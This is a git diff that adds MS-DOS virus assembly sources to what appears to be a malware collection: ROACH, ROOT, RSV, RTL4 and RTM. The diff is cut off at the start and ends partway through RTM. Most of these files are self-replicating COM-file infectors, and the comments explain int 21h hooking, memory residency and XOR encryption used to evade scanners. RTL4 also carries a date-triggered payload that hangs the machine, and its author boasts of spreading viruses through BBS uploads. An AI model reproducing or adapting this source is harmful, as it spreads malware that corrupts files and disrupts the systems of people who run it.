bl,[si+1] + mov [bx+si+2],ax + mov [bx+si+4],dx + add bl,4 + mov [si+1],bl + mov al,dl + cmp bl,[si] + jnz rnd_done + add byte ptr [si],4 +rnd_done: + pop bx cx dx si ds + ret + + .data + +rnd_buf dw 129 dup(?) + +data_top: + + end + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.roach.asm b/MSDOS/Virus.MSDOS.Unknown.roach.asm new file mode 100644 index 00000000..df7ca089 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.roach.asm @@ -0,0 +1,311 @@ +;Developed and Programmed in Australia. +;Copy_ya_right 1997 + +;Virus Name : ROACH + +;The ROACH virus will install itself memory resident, below the video memory. +;once this virus is in memory it will only infect COM files. It will not +;infect command.com. + +;--------------------------- S T A R T ------------------------------------- + +host_start: ;start of the host file + jmp virus_start ;start the virus code + mov ah,4ch ;exit the virus code + int 21h ;dos call + +;----- This is the start of the virus code ---------------------------------- + +virus_start: ;start of the virus code + mov ax,sp ;load ax with stack pointer + mov si,ax ;move stack pointer to si + mov ax,ss ;move stack segment to ax + mov ds,ax ;load ds with stack segment + mov di,100h ;point to the host start + mov cx,2 ;we need to do this twice +push_100_to_stack: + dec si,2 ;dec the stack pointer + mov sp,si ;move the stack pointer + mov word ptr ds:[si],di ;save di to the stack + loop push_100_to_stack ;do it twice + + inc di ;inc byte one + mov al,byte ptr es:[di] + mov ah,byte ptr es:[di+1] + add ax,103h + mov bp,ax ;save to the + + add si,2 ;inc the stack pointer + mov sp,si ;mov the stack pointer + mov di,word ptr ds:[si] ;get the address from stack + + mov si,bp ;load si with fix address + add si,virus_len ;and host to the source index + sub si,3 + push es + pop ds ;get the data segment + mov cx,3 ;move 3 bytes + rep movsb ;and move the data back + + mov ax,5432h ;are we resident + int 21h ;dos call + cmp ax,0063h ;are we resident + jne memory_resident ;lets go resident + +exit_virus: + xor ax,ax ;fix up + mov bx,ax ;fix up + mov cx,ax ;fix up + mov dx,ax ;fix up + mov di,ax ;fix up + mov si,ax ;fix up + mov es,ax ;fix up + ret ;and return to the host + +;----- This makes the virus go memory resident ------------------------------ + +memory_resident: + mov ah,52h ;get the list of lists + int 21h ;dos call + mov ax,es:[bx-2] ;load ax first mcb chain + mov es,ax ;set es to first mcb block + +mcb1: + cmp byte ptr es:[0],'Z' ;is it the last mcb chain + jne mcb2 ;not then next mcb chain + clc ;clear carry flag + jmp mcbx ;found last mcb chain, bail + +mcb2: + mov ax,es ;mov extra segment to ax + add ax,word ptr es:[3] ;add from the list + inc ax ;fix up + mov es,ax ;es is the new segment + jmp short mcb1 ;and do it again + +mcbx: + mov byte ptr es:[0],'Z' ;make it the last mcb chain + sub word ptr es:[3],virus_len/15 ;take the virus from the mcb + add ax,word ptr es:[3] ; + inc ax ;fix up the address + mov es,ax ;es is the new segment + + push es ;save to the stack + push cs ;push the code segment + pop ds ;get ds from the stack + + mov ax,3521h ;get interrupt 21h + int 21h ;dos call + mov si,bp ;load the si with virus start + add si,virus_len ;add the virus len to it + sub si,7 + mov word ptr ds:[si],bx ;save the old int 21h vector + mov word ptr ds:[si+2],es ;save the old int 21h vector + + pop ds ;get from the stack + mov ax,2521h ;get the interrupt vector + mov dx,new_21 + + int 21h ;dos call + push ds + pop es + push cs + pop ds + xor di,di + mov si,bp ;offset of the start of virus + mov cx,virus_len ;number of bytes to move + +do_load_tsr: + mov ax,word ptr ds:[si] ;load the byte from host + mov word ptr es:[di],ax ;store the byte in memory + add si,2 ;inc the host pointer + add di,2 ;inc the memory pointer + loop do_load_tsr + + push cs ;push the code segment + pop ds ;reset ds to the original + jmp exit_virus ;exit the virus code + + db '[Roach] by SliceMaster 1997' ;copyright string roach + +;----- This is the code that runs in memory --------------------------------- + +exit_virus_tsr: + jmp dword ptr cs:[data_start] ;exit back to the function + +fake_dos_function: + pushf ;save the flags + call dword ptr cs:[data_start] ;fake a dos call + ret ;and return + +new_21h: + cmp ax,5432h ;is it the virus checking + jne check_interrupts ;check out the interrupts + mov ax,0063h ;yep we are in memory + iret ;interrupt return + +check_interrupts: + inc ah ;add one the the function + cmp ah,4ch ;load and exec a program + je go_virus_infect ;this is our interrupt + cmp ah,3eh ;open file call + je go_virus_infect ;this is our interrupt + cmp ah,44h ;change attrubute call + je go_virus_infect ;this is our interrupt + dec ah ;sub one from the function + jmp exit_virus_tsr ;exit the virus in memory + +go_virus_infect: + dec ah ;fix up before we exit + push ax ;\ + push bx ; \ + push cx ; \ + push dx ; \ + push si ; / save to the stack + push di ; / so the interrupt + push ds ; / will work on + push es ; / exit. + push bp ;/ + + call check_ext ;is it a com file + call open_host ;open the host file for r/w + call read_host_3 ;read the host first 3 + call infect_host ;infect file + +exit_host_infected: + call close_host ;close the host file + +exit_virus_memory: ;ti we are here. + pop ax ;/ + jmp exit_virus_tsr ;exit the virus tsr + +;----- This checks the file ext -------------------------------------------- + +check_ext: + push dx + pop si ;get the source index + mov cx,0ffh ;search for a com file ext +find_ext: + mov al,byte ptr ds:[si] ;load the byte at ds:dx + cmp al,'.' ;is it a . + je found_ext ;found the ext + inc si ;inc the location + loop find_ext ;do it again + +found_ext: + inc si ;inc the position + mov ax,word ptr ds:[si] ;load the byte ad ds:si + cmp ax,'OC' ;is it a com file + je found_com_file ;do a nother check + pop ax ;get off the stack + jmp exit_virus_memory ;not com file bail + +found_com_file: + ret ;and return + +;----- This opens a host file ----------------------------------------------- + +open_host: + mov ax,3d02h ;open file read write access + call fake_dos_function ;fake a dos interrupt + mov bx,ax ;move the handle into bx + ret ;and return + +;----- This closes a host file ---------------------------------------------- + +close_host: + mov ah,3eh ;close a file + call fake_dos_function ;close the file + ret ;and return + +;----- This reads the first 3 bytes from the host --------------------------- + +read_host_3: + push ds ;save to the stack + push dx ;save to the stack + push cs ;push the code segment + pop ds ;get the tsr segment + xor dx,dx ;zero out dx + add dx,virus_len ;add the virus len to it + sub dx,3 ;fix up dx to point to buffer + push dx ;save to the stack + mov ah,3fh ;read from the host + mov cx,3 ;read 3 bytes of host + call fake_dos_function ;fake a dos call + + pop si ;get si from the stack + mov ah,byte ptr ds:[si] ;load ah with the first byte + cmp ah,0e9h ;is it a jump instruction + je is_infect ;is the file infected + cmp ah,'M' ;does it have a MZ header + je is_infect ;the file is a command.com + pop dx ;get call from the stack + pop ds ;get call from the stack + ret ;and return + +is_infect: + pop dx ;get from the stack + pop ds ;get call from the stack + pop ax ;get call from the stack + jmp exit_host_infected ;exit the host is infected + +;----- This infects the host file ------------------------------------------- + +infect_host: + push ds ;save to the stack + push dx ;save to the stack + call lseek_end ;seek to the end of the host + push ax ;save the location + push cs ;push the code segment + pop ds ;get the virus segment + + mov ah,40h ;time to write virus to end + mov cx,virus_len ;number of bytes to write + xor dx,dx ;at the start of the segment + call fake_dos_function ;fake a dos function + call lseek_start ;seek to the start + + xor dx,dx ;zero out dx + add dx,virus_len ;add the virus len to it + sub dx,3 ;fix up dx to point to buffer + mov si,dx ;mov si the pointer + + mov ah,0e9h ;mov jump instruction in ah + mov byte ptr ds:[si],ah ;write the jump in + pop ax ;get off the stack + dec al,3 + mov word ptr ds:[si+1],ax ;write the address to buffer + + mov dx,si ;write to dx the pointer + mov cx,3 ;number of bytes to write + mov ah,40h ;write to the host file + call fake_dos_function ;fake a dos function call + + pop dx ;get off the stack + pop ds ;get off the stack + ret ;and return + +;----- This seeks to the start or end of the host --------------------------- + +lseek_end: + mov ax,4202h ;seek to the end + jmp lseek ;and do the seeking +lseek_start: + mov ax,4200h ;seek to the start +lseek: + xor dx,dx ;to start/end of host + xor cx,cx ;to start/end of host + call fake_dos_function ;fake a dos call + ret ;and return + +;----- From here down is were all the data for virus is stored!! ------------ + +data1: + +old_21h dd 0 ;old interrupt 21h function +host_3 db 3 dup(90h) ;original first 3 bytes + +virus_end: +virus_len equ virus_end - virus_start ;len of the virus code +data_start equ data1 - virus_start ;starting address of data +new_21 equ new_21h - virus_start ;len from the start to int diff --git a/MSDOS/Virus.MSDOS.Unknown.root.asm b/MSDOS/Virus.MSDOS.Unknown.root.asm new file mode 100644 index 00000000..f43c82bf --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.root.asm @@ -0,0 +1,249 @@ + +PAGE 59,132 + +;栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 +;栩 栩 +;栩 ROOT 栩 +;栩 栩 +;栩 Created: 30-Aug-92 栩 +;栩 Passes: 5 Analysis Options on: none 栩 +;栩 栩 +;栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 + +data_0001e equ 78h +data_0002e equ 7C0Bh ;* +data_0003e equ 7C0Dh ;* +data_0004e equ 7C0Eh ;* +data_0005e equ 7C10h ;* +data_0006e equ 7C11h ;* +data_0007e equ 7C13h ;* +data_0008e equ 7C15h ;* +data_0009e equ 7C16h ;* +data_0010e equ 7C18h ;* +data_0011e equ 7C1Ah ;* +data_0012e equ 7C1Ch ;* +data_0013e equ 7C1Eh ;* +data_0014e equ 7C20h ;* +data_0015e equ 7C24h ;* +data_0016e equ 7C25h ;* +data_0017e equ 7C3Eh ;* +data_0018e equ 7C49h ;* +data_0019e equ 7C4Bh ;* +data_0020e equ 7C4Dh ;* +data_0021e equ 7C4Fh ;* +data_0022e equ 7C50h ;* +data_0023e equ 7C52h ;* +data_0024e equ 7D9Eh ;* +data_0025e equ 7DE6h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +root proc far + +start: + jmp short loc_0002 + db 90h + db 'MSDOS5.0' + db 00h, 02h, 04h, 01h, 00h, 02h + db 00h, 02h,0FEh,0EFh,0F8h, 3Ch + db 00h, 11h, 00h, 0Fh, 00h, 11h + db 7 dup (0) + db 80h, 00h, 29h, 27h, 45h, 08h + db 19h + db 'MS-DOS_5 FAT16 ' +loc_0002: + cli ; Disable interrupts + xor ax,ax ; Zero register + mov ss,ax + mov sp,7C00h + push ss + pop es + mov bx,data_0001e + lds si,dword ptr ss:[bx] ; Load 32 bit ptr + push ds + push si + push ss + push bx + mov di,data_0017e + mov cx,0Bh + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + push es + pop ds + mov byte ptr [di-2],0Fh + mov cx,ds:data_0010e + mov [di-7],cl + mov [bx+2],ax + mov word ptr [bx],7C3Eh + sti ; Enable interrupts + int 13h ; Disk dl=drive a ah=func 00h + ; reset disk, al=return status + jc loc_0004 ; Jump if carry Set + xor ax,ax ; Zero register + cmp ds:data_0007e,ax + je loc_0003 ; Jump if equal + mov cx,ds:data_0007e + mov ds:data_0014e,cx +loc_0003: + mov al,ds:data_0005e + mul word ptr ds:data_0009e ; ax = data * ax + add ax,ds:data_0012e + adc dx,ds:data_0013e + add ax,ds:data_0004e + adc dx,0 + mov ds:data_0022e,ax + mov ds:data_0023e,dx + mov ds:data_0018e,ax + mov ds:data_0019e,dx + mov ax,20h + mul word ptr ds:data_0006e ; ax = data * ax + mov bx,ds:data_0002e + add ax,bx + dec ax + div bx ; ax,dx rem=dx:ax/reg + add ds:data_0018e,ax + adc word ptr ds:data_0019e,0 + mov bx,500h + mov dx,ds:data_0023e + mov ax,ds:data_0022e + call sub_0002 + jc loc_0004 ; Jump if carry Set + mov al,1 + call sub_0003 + jc loc_0004 ; Jump if carry Set + mov di,bx + mov cx,0Bh + mov si,data_0025e + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jnz loc_0004 ; Jump if not zero + lea di,[bx+20h] ; Load effective addr + mov cx,0Bh + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jz loc_0006 ; Jump if zero +loc_0004: + mov si,data_0024e + call sub_0001 + xor ax,ax ; Zero register + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + pop si + pop ds + pop word ptr [si] + pop word ptr [si+2] + int 19h ; Bootstrap loader +loc_0005: + pop ax + pop ax + pop ax + jmp short loc_0004 +loc_0006: + mov ax,[bx+1Ah] + dec ax + dec ax + mov bl,ds:data_0003e + xor bh,bh ; Zero register + mul bx ; dx:ax = reg * ax + add ax,ds:data_0018e + adc dx,ds:data_0019e + mov bx,700h + mov cx,3 + +locloop_0007: + push ax + push dx + push cx + call sub_0002 + jc loc_0005 ; Jump if carry Set + mov al,1 + call sub_0003 + pop cx + pop dx + pop ax + jc loc_0004 ; Jump if carry Set + add ax,1 + adc dx,0 + add bx,ds:data_0002e + loop locloop_0007 ; Loop if cx > 0 + + mov ch,ds:data_0008e + mov dl,ds:data_0015e + mov bx,ds:data_0018e + mov ax,ds:data_0019e +;* jmp far ptr loc_0001 ;* + db 0EAh, 00h, 00h, 70h, 00h + +root endp + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_0001 proc near +loc_0008: + lodsb ; String [si] to al + or al,al ; Zero ? + jz loc_ret_0010 ; Jump if zero + mov ah,0Eh + mov bx,7 + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + jmp short loc_0008 + +;烝烝 External Entry into Subroutine 烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 + +sub_0002: + cmp dx,ds:data_0010e + jae loc_0009 ; Jump if above or = + div word ptr ds:data_0010e ; ax,dxrem=dx:ax/data + inc dl + mov ds:data_0021e,dl + xor dx,dx ; Zero register + div word ptr ds:data_0011e ; ax,dxrem=dx:ax/data + mov ds:data_0016e,dl + mov ds:data_0020e,ax + clc ; Clear carry flag + retn +loc_0009: + stc ; Set carry flag + +loc_ret_0010: + retn +sub_0001 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_0003 proc near + mov ah,2 + mov dx,ds:data_0020e + mov cl,6 + shl dh,cl ; Shift w/zeros fill + or dh,ds:data_0021e + mov cx,dx + xchg ch,cl + mov dl,ds:data_0015e + mov dh,ds:data_0016e + int 13h ; Disk dl=drive ? ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + retn +sub_0003 endp + + db 0Dh, 0Ah, 'Non-System disk or dis' + db 'k error', 0Dh, 0Ah, 'Replace and' + db ' press any key when ready', 0Dh, 0Ah + db 0 + db 'IO SYSMSDOS SYS' + db 00h, 00h, 55h,0AAh + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.rsv.asm b/MSDOS/Virus.MSDOS.Unknown.rsv.asm new file mode 100644 index 00000000..8400b010 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.rsv.asm @@ -0,0 +1,160 @@ +; +; RSV - written by Conzouler 1995 +; +; memory resident +; com-append on execute +; no tb-flags +; no impressive features... +; + +.model tiny +.code +.286 + org 100h + +psize equ (offset last - offset entry) / 10h + 1 +size equ offset last - offset entry + +entry: + db 0e9h,0,0 +start: + call gores + +oentry db 0CDh,20h,90h + +gores: + mov ax, 4277h + int 21h + jnc restore + + mov ah, 4Ah + mov bx, 0FFFFh + int 21h + mov ah, 4Ah + sub bx, psize+1 + int 21h + mov ah, 48h + mov bx, psize + int 21h + sub ax, 10h + mov es, ax + mov word ptr es:[0F1h], 8 + mov di, 103h + mov bp, sp + mov si, ss:[bp] + sub si, 3 + mov cx, size-3 + rep movsb + push es + pop ds + mov ax, 3521h + int 21h + mov i21o, bx + mov i21s, es + mov ah, 25h + mov dx, offset vec21 + int 21h + +restore: + push cs + pop ds + push ds + pop es + pop si + mov di, 100h + push di + movsw + movsb + retn + +i21: db 0eAh +i21o dw ? +i21s dw ? + +vec21: + cmp ax, 4277h + jne v21e + clc + retf 2 +v21e: cmp ax, 4B00h + je infect +v21x: + jmp i21 + + +infect: + push ax + push bx + push cx + push dx + push si + push ds + + mov ax, 3D82h + int 21h + xchg ax, bx + + push cs + pop ds + mov ah, 3Fh + mov dx, offset oentry + mov cx, 3 + int 21h + cmp byte ptr oentry, 'M' + je infectx + + mov ax, 4202h + xor cx, cx + cwd + int 21h + dec ax + mov si, ax + xchg dx, ax + mov ax, 4200h + int 21h + mov dx, offset last + mov ah, 3Fh + mov cx, 1 + int 21h + cmp byte ptr last, 087h + je infectx + + xchg ax, si + sub ax, 2 + mov byte ptr entry, 0E9h + mov word ptr entry[1], ax + + mov ah, 3Fh + inc ah + push ax + mov dx, 103h + mov cx, size-3 + int 21h + + mov ax, 4200h + xor cx, cx + cwd + int 21h + + pop ax + mov dx, 100h + mov cx, 3 + int 21h +infectx: + mov ah, 3Eh + int 21h + + pop ds + pop si + pop dx + pop cx + pop bx + pop ax + jmp v21x + +last: +end entry + + + + diff --git a/MSDOS/Virus.MSDOS.Unknown.rtl4.asm b/MSDOS/Virus.MSDOS.Unknown.rtl4.asm new file mode 100644 index 00000000..bea959a9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.rtl4.asm @@ -0,0 +1,265 @@ +;****************************************************************************** +; +; RTL4 / WEDDEN DAT... VIRUS +; +;****************************************************************************** +; +; "If a weaking linkage found, eliminate... +; Hear the cities fearfull roar!" +; +; Now in front of you lies another source of a virus. It is not a very good +; one, but, as you might say, a virus is a virus. After my wake at the PC, I +; created several viruses, like: +; +; Deicide / Glenn +; Morgoth +; Breeze +; Brother +; Commentator I +; Commentator II +; Spawnie +; Xmas +; 1St_Star / 222 +; T-1000 +; +; Well, I bet you think this is a whole lot, but some are minor variants, for +; which I don't have the guts to publish the source code. I have to admid, +; Deicide and Morgoth have spread very well. I uploaded them to a BBS and it +; was downloaded several times, and it is not detected by antivirus program yet. +; Deicide is now detectable, but that was my first attempt to make a virus. +; +; This virus is a Non-Resident Direct Action .COM Infector. +; It only infects files in the current directory. +; You can recognize a infected file simply, the 4th byte is a '*' (just like +; the 1St_Star virus). It is inactive from January till May and starts +; replicating from May. After July, every Wednessday after the 21st the +; program will hang the system, showing the address of RTL4 Joop v/d Ende +; Productions. +; +; Disclaimer : This program is like all other virus sources only for +; educational purposes and should not be given to irresponsible hands +; (John McAfee and people like him). +; +; For the criminal reader : Don't just change the text of this virus and +; say you made a virus. Instead use some ideas from this virus and create your +; own virus if you want to be nasty. Additions to this virus that makes it +; spreading faster and makes it harder to detect are welcome, as long as I get +; the new source code. +; +; I want to thank several virus writers for their support with letting McAfee +; and Ass. earn his money with making so many updates of SCAN... +; Here they are : Bit Addict, XSTC, Dark Helmet, Dark Avenger, Nuke!, Cracker +; Jack and many more creators. +; +; Note to XSTC : Thank you for disassembling the Deicide virus, for I have lost +; the source code. Next time write a message, because I might have the source +; code of the virus ready, but not uploaded. It saves you time, so you may +; disassemble another virus (ofcourse only for educational purposes ;-) ) +; +; Now have fun with this virus, written in A86 assembler version 3.22 +; +; Glenn Benton +; +; "Is it truly a disembodied head lurking in the dark of the tombs of fate?" +; + Org 0h ; The outcome will be .BIN + +Start: Jmp MainVir ; Jump to main virus + Db '*' ; signature + +MainVir: Call On1 ; Get virus offset +On1: Pop BP ; BP is the index register + Sub BP,Offset MainVir+3 ; Calculate virus offset + Push Ax ; And store AX (error reg.) + + Lea Si,Crypt[BP] ; Decryptor for the + Mov Di,Si ; virus code. It's long + Mov Cx,CryptLen ; for a decoder, but it +Decrypt: Lodsb ; reduces the recognizable + Xor Al,0 ; part enough. + Stosb ; + Loop Decrypt ; + +DecrLen Equ $-MainVir ; Decryptor length + +Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store the 4 first bytes + Mov Bx,Cs:OrgPrg[BP]+2 ; of the host + Mov Cs:Start+100h,Ax ; + Mov Cs:Start[2]+100h,Bx ; + + Mov Ah,2ah ; Get date + Int 21h ; If it is a wednessday + Cmp Dh,8 ; after July and after + Jb NoMsg ; the 21st, it will + Cmp Dl,22 ; will continue, else + Jb NoMsg ; it goes to NoMsg + Cmp Al,3 ; + Jne NoMsg ; + + Mov Ah,9 ; Display the message + Lea Dx,Msg[BP] ; + Int 21h ; + +Lockout: Cli ; And lock the computer + Jmp Lockout ; + +NoMsg: Cmp Dh,5 ; Is it after April? + Jae DoVirus ; Yes - Replicate + Jmp Ready ; No - Terminate to host + +DoVirus: Mov Ah,1ah ; Move DTA to a safe place + Mov Dx,0fc00h ; $FE00 + Int 21h + + Mov Ah,4eh ; +Search: Lea Dx,FileSpec[BP] ; Search for a .COM file in + Xor Cx,Cx ; the current directory + Int 21h ; + + Jnc Found ; If not exist, goto Ready + Jmp Ready ; else goto Found + +Found: Mov Ax,4300h ; Get file attributes + Mov Dx,0fc1eh ; and store them on the stack + Int 21h ; + Push Cx ; + + Mov Ax,4301h ; Wipe the attributes, so it + Xor Cx,Cx ; is accessable for us + Int 21h ; + + Mov Ax,3d02h ; Open the file with + Int 21h ; read/write priority + + Mov Bx,5700h ; Get de file date/time stamp + Xchg Ax,Bx ; and store them on the stack + Int 21h ; + Push Cx ; + Push Dx ; + + Mov Ah,3fh ; Read the first 4 bytes + Lea Dx,OrgPrg[BP] ; of the program + Mov Cx,4 ; + Int 21h ; + + Mov Ax,Cs:[OrgPrg][BP] ; Is it a weird EXE? + Cmp Ax,'MZ' ; Yes goto ExeFile + Je ExeFile ; + + Cmp Ax,'ZM' ; Is it a normal EXE? + Je ExeFile ; Yes, goto ExeFile + + Mov Ah,Cs:[OrgPrg+3][BP] ; Is it already infected? + Cmp Ah,'*' ; No, goto Infect + Jne Infect ; + +ExeFile: Call Close ; Call File close + + Mov Ah,4fh ; Jump to the search routine + Jmp Search ; again for a .COM file + +FSeek: Xor Cx,Cx ; Subroutine for jumping to + Xor Dx,Dx ; the begin/end of file + Int 21h ; + Ret ; + +Infect: Mov Ax,4202h ; Jump to EOF + Call FSeek ; + + Sub Ax,3 ; Calculate new virus offset + Mov Cs:CallPtr[BP]+1,Ax ; + + Mov Ah,2ch ; Get system time + Int 21h ; + + Mov Cs:Decrypt+2[BP],Dl ; Move the decryptor part + Lea Si,MainVir[BP] ; with the 100ds second put + Mov Di,0fd00h ; into the XOR command to + Mov Cx,DecrLen ; the end of the 64K segment + Rep Movsb ; + + Lea Si,Crypt[BP] ; Encrypt the virus with + Mov Cx,CryptLen ; the 100ds seconds. +Encrypt: Lodsb ; Merge it behind the + Xor Al,Dl ; decryptor + Stosb ; + Loop Encrypt ; + + Mov Ah,40h ; Write the virus + Lea Dx,0fd00h ; at the end of the + Mov Cx,VirLen ; file + Int 21h ; + + Mov Ax,4200h ; Move to start of + Call FSeek ; the file + + Mov Ah,40h ; Write the jump to the virus + Lea Dx,CallPtr[BP] ; at the begin of the file + Mov Cx,4 ; + Int 21h ; + + Call Close ; Close the file + +Ready: Mov Ah,1ah ; Restore the DTA to the + Mov Dx,80h ; original offset + Int 21h ; + + Pop Ax ; Get (possible) error code + + Mov Bx,100h ; Strange jump (but nice) to + Push Cs ; the begin of the program + Push Bx ; (which has been restored) + Retf ; + +Close: Pop Si ; A pop which is stupid + + Pop Dx ; Restore files date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; Close file + Int 21h ; + + Mov Ax,4301h ; Restore attributes + Pop Cx ; + Mov Dx,0fc1eh ; + Int 21h ; + + Push Si ; A push which is stupid + + Ret ; Return to caller + +CallPtr Db 0e9h,0,0 ; Jump + +FileSpec Db '*.COM',0 ; Filesearch spec & signature + +; Activation message + +Msg Db 13,10,9,9,'RTL4' + Db 13,10,'Joop van den Ende Produkties BV' + Db 13,10,'Marco Daas (Casting Assistent)' + Db 13,10,'Postbus 397' + Db 13,10,'1430 AJ AALSMEER' + Db 13,10,'van Cleeffkade 15' + Db 13,10,'1413 BA AALSMEER' + Db 13,10,'The Netherlands' + Db 13,10,10,'Wedden dat... je een virus hebt?' + Db 13,10,'$' + +; First 4 bytes of the host program + +OrgPrg: Int 20h + DB 'GB' ; My initials (Glenn Benton) + +CryptLen Equ $-Crypt ; Length of encrypted part + +VirLen Equ $-MainVir ; Length of virus +; +; Sleep well, sleep in hell... +; + +; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 +; 陳陳陳陳陳陳陳陳陳陳> and Remember Don't Forget to Call <陳陳陳陳陳陳陳陳 +; 陳陳陳陳陳陳> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <陳陳陳陳陳 +; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 diff --git a/MSDOS/Virus.MSDOS.Unknown.rtm.asm b/MSDOS/Virus.MSDOS.Unknown.rtm.asm new file mode 100644 index 00000000..7f299177 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.rtm.asm @@ -0,0 +1,543 @@ +ORG 0100H ; .. +Virii label Near ; Start adress CS:0100H + ; +Mutate Proc Near ; The Decryption/encryption code begin here .. +Cmp Ax,01100H ; +J_N_E: ; Adress of the byte to change +JA ByeBye ; Will change for an 'JNE' +ExitFromINT21: ; +TTT: ; +ThePush: ; +Push Si ; +TheMov: ; +Lea Si,TheBody ; +Work: ; +theXor: ; +DB 02EH,081H,034H ; XOR W[Cs:Bx], .. +Mask Dw 0 ; Decryption/Encryption Key +TheAdd: ; +Add Si,2; ; +TheCmp: ; +Cmp Si,ViriiEnd-3 ; +Jb Thexor ; +ThePop: ; +Pop Si ; +; ; +Cmp B[Cs:FromTheHandler],1 ; The handler is calling? +Jne TheBody ; No + ; +ExitWithREt: ; +Mov B[Cs:FromTheHandler],0 ; +PopA ; +ByeBye: ; +DB 0EAH ; Jmp Far +OLDINT21 DD 0 ; +; ; +FromTheHandler DB 0 ; Set to 1 if INT 21h handler call +; ; +Mutate EndP ; End of the procedure + +TheBody Proc Near ; This Part is encrypted With the key "Mask" +PushA ; 286 & + +Call ChangeDecryptor ; +Cmp B[Cs:InTSR],1 ; Is it an INT 21h Call ? +Jne installit ; +Jmp Near INT21handler ; Yes .. jump to the handler +installit: ; Virus installation is done here +Mov B[inTSR],1 ; Indicate that the virus is in service +Mov B[J_N_E],072H ; 'JNE' +;;;;;;;; +Mov Ax,Cs ; ----- Reserve memory Block +Dec Ax ; Point to the MCB +Mov Ds,Ax ; +Mov Cx,W[Ds:3] ; Read the Size of the memory block +Sub Cx,VirSize2 + 20 ; Memory occuped by the Virus +Mov Bx,Cx ; +Mov Ah,04Ah ; +int 021H ; +Mov Bx,-1 ; +Mov Ah,048H ; +Int 021H ; +Mov Ah,048H ; +Int 021H ; +Dec Ax ; +Mov Ds,Ax ; +Mov W[1],0008 ; Set it as DOS SYSTEM AREA (heheheh).. +;;;;;;;;;; ; +Inc Ax ; +Mov Es,Ax ; Destination Seg:Off +Mov Di,0100H ; ES:DI ==> destination +Push Cs ; Source Seg:Off +Pop Ds ; Set Ds to the current segment +Lea SI,virii ; DS:SI ==> source +Mov Cx,VirLength ; +Cld ; +Repz ; +Movsb ; +Mov W[Es:Mask],0 ; +;;;;;;;;; ; +Cli ; +Mov Ds,Cx ; Ds to 0 +Mov Ax,W[Ds:084H] ; Offset of the handler +Mov W[Es:Oldint21],AX ; +Mov Bx,W[Ds:086H] ; Segment of the Handler +Mov W[Es:OldInt21+2],Bx ; +Sti ; +Push Es ; +Push Di ; +Push Si ; +Call MemoryVerifier ; +Pop Si ; +Pop Di ; +Pop Es ; +Jc AnotherDayMaybe ; +;;;;;;;;; ; + ; +Cli ; +Mov W[0413H],Ax ; Set Int 21 handler +Mov Ax,0100H ; +Mov W[0084H],Ax ; +Mov Ax,Es ; +Mov W[0086h],Ax ; +Sti ; +Jmp Ok ; +;;;;;;;;;;;;;;; ; The handler is now installed + ; We have to Jump Far Far .. +AnotherDayMaybe: +Mov Ah,049H +Int 021H +Ok: + ; And Encrypt It with a new Key + ; Jump To The virus In mem +Push Cs ; Save CS twice for later Uses +Push Cs ; Do not forget : CS represents the segment + ; Of the previously infected application ! + ; +Push Es ; +Push JumpTHere ; Store offset and segment on the Stack +RetF ; & jump + + +;---- This part run in "memory" +JumpTHere: ; +DecryptEndOfFile: ; Decrypt original application code +Pop ES ; ES & DS set to the PSP segment +Pop Ds ; +Mov Di,Cs:[FileSize] ; Destination +Add Di,0100H ; PSP Size (256 bytes) +Mov Si,Di ; Source +Push Si ; +;Mov Cx,VirLength ; +;Mov Dl,B[Cs:LocalKey] ; Local File Decryption Key +;Here2: ; +;LodsB ; +;Xor Al,Dl ; +;StosB ; +;Loop Here2 ; Decrypt the File + ; +CopyEndOfFile: ; Now Copy The original code +Mov Cx,VirLength ; +Pop Si ; +Mov Di,0100H ; To the begining +Cld ; +Repz Movsb ; & Blit + ; The Job of the virus launcher is finished + ; We can now execute the infected file .. +;RESTORE REGISTERS +Mov W[Cs:Mask],0 ; we are not encrypted in the moment +PopA +Push es +Push 0100H +RetF + + +;****************************** 浜様様様様様様様様様様様様様様様様様様様融 +;****************************** Features: +;** Decryptor Mutator ** 1 .3 different encryptor/decryptor +;** By X ** 2 .Automatic size checking +;** 15-3-93 ** 3 .Expansion possibilities +;****************************** 4 .The smollest code +;****************************** 藩様様様様様様様様様様様様様様様様様様様夕 +ChangeDecryptor Proc Near +Push Ax +Push Bx +Mov Al,5 +Mov 